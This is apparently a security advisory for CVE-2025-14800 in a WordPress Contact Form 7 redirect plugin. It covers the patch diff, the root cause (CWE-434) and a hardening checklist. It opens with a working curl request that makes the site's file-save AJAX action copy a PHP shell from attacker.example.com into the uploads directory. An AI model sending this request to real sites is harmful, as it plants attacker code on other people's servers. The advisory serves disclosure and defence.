The Exploit
Unauthenticated attackers can abuse the plugin's file save endpoint by sending a file_path value that points at a remote payload.
curl -X POST 'https://TARGET/wp-admin/admin-ajax.php' \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d 'action=wpcf7r_save_files&file_path=http://attacker.example.com/shell.php'
The vulnerable site accepts the request, copies the remote payload into WordPress uploads, and returns a success response or upload path. With allow_url_fopen=On, the attacker effectively forces the server to fetch and store attacker-controlled PHP code under the uploads directory.
What the Patch Did
Before
public function move_file_to_upload( $file_path ) {
global $wp_filesystem;
$this->filesystem_init();
After
public function move_file_to_upload( $file_path ) {
$validate = wp_check_filetype( $file_path );
if ( ! $validate['type'] || preg_match( '#^[a-zA-Z0-9+.-]+://#', $file_path ) ) {
die( esc_html__( 'File type is not allowed', 'wpcf7-redirect' ) );
}
global $wp_filesystem;
$this->filesystem_init();
The patch added explicit file type validation with wp_check_filetype() and a protocol-scheme rejection using a regular expression. In other words, it now refuses uploads where the supplied file_path is not a recognised allowed extension or is a URL/protocol wrapper like http://, php://, or file://.
Root Cause
This is an unrestricted file upload / file copy bug (CWE-434) caused by missing validation on the attacker-controlled file_path parameter. The plugin accepted file_path from the request, forwarded it into move_file_to_upload(), and used it in filesystem operations without checking whether it was an allowed upload filename or a remote stream URL. That crossed the boundary from untrusted request data into server-side file storage, letting an attacker copy arbitrary content onto the target host.
Why It Works
The load-bearing defence is the wp_check_filetype( $file_path ) check combined with the protocol filter. If the function simply returned to the old code, the bug would still exist because nothing would stop a .php or remote http:// path from being handed to the filesystem. The regex preg_match( '#^[a-zA-Z0-9+.-]+://#', $file_path ) is the second necessary line: it closes the remote-file attack vector by rejecting wrapper schemes. The patch's real core is the validation block, while the die() call is the enforcement mechanism.
Hardening Checklist
- Use
wp_check_filetype()before moving or copying any uploaded filename into the server filesystem. - Reject remote and special stream wrappers with a protocol-scheme check such as
preg_match( '#^[a-zA-Z0-9+.-]+://#', $path )orwp_http_validate_url(). - Prefer WordPress upload handlers like
wp_handle_upload()/wp_handle_sideload()instead of raw file I/O on untrusted paths. - Protect file upload endpoints with proper capability checks and nonces via
current_user_can()/check_ajax_referer(). - Create or verify an
index.phpstub in upload directories to prevent directory listing and accidental exposure.
References
- https://nvd.nist.gov/vuln/detail/CVE-2025-14800